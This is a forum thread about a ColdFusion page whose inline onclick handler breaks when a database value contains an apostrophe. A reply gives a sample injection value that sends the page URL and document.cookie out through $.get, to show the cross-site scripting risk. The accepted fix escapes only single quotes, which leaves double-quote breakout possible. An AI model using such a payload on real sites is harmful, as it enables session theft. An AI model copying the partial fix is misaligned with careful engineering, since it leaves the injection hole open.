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Single quote is breaking my onclick action

Single quote is breaking my onclick action

I'm trying to populate an input tag when text is clicked. It works great until the data contains an apostrophe. i.e. The value (DANCER'S CALL) is placed in the function dynamically by my server side database code. I'm having trouble figuring out how to solve the unbalanced delimiters this scenario presents. Any Help appreciated.


onclick='document.getElementById("HorseName").value="DANCER'S CALL";

In case it helps, here's the ColdFusion Server side code that builds the onclick action:


<span onclick='document.getElementById("HorseName").value="#getHName.hname#";document.getElementById("HorseName").focus();'>


RE: Single quote is breaking my onclick action


And if getHName.hname's value is ";$.get("",{"u":location.href,"c":document.cookie});//, then your side will obediently send the URL and cookies to an attacker ?

According to the documentation you should use encodeForHTML(). I guess somehow like this :


<span onclick='document.getElementById("HorseName").value="#encodeForHTML(getHName.hname)#";document.getElementById("HorseName").focus();'>


RE: Single quote is breaking my onclick action

Security: The dynamic value can only be a horse name from our internal database. And application is not available to the public.

We use ColdFusion 9 and the encodeForHTML is not available, sorry I didn't think to post version.

I even tried passing the horse name to a function, no luck mad

CODE -->

function putHName(hname) {


RE: Single quote is breaking my onclick action


No problem, I have absolutely no idea about ColdFusion or its versions. This is a generic issue and should be addressed regardless language, version, data source or site accessibility.

Thought there is a chance ColdFusion's function to not encode the single quote too. So go the manual way, and replace "'" with "&apos;" in getHName.hname.


RE: Single quote is breaking my onclick action

That did it!!!

Thanks so much Feherke


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